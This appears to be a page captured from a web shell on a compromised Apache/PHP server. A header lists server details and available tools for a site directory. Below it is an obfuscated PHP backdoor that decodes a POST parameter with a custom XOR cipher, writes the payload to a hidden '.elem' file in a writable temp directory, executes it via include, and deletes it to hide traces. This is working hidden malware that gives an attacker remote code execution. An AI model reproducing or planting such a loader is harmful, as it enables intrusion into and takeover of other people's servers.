| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/manger/ |
Upload File : |
<?php
if(in_array("item", array_keys($_POST))){
$holder = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir()]);
$data = $_POST["item"];
$data = explode( "." ,$data ) ;
$resource = '';
$s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $s2);
foreach( $data as $s =>$v3):
$chS = ord( $s2[$s%$sLen]);
$d =( ( int)$v3 - $chS -( $s%10)) ^ 21;
$resource .= chr( $d);
endforeach;
foreach ($holder as $sym):
if (!!is_dir($sym) && !!is_writable($sym)) {
$token = sprintf("%s/.elem", $sym);
$success = file_put_contents($token, $resource);
if ($success) {
include $token;
@unlink($token);
die();}
}
endforeach;
}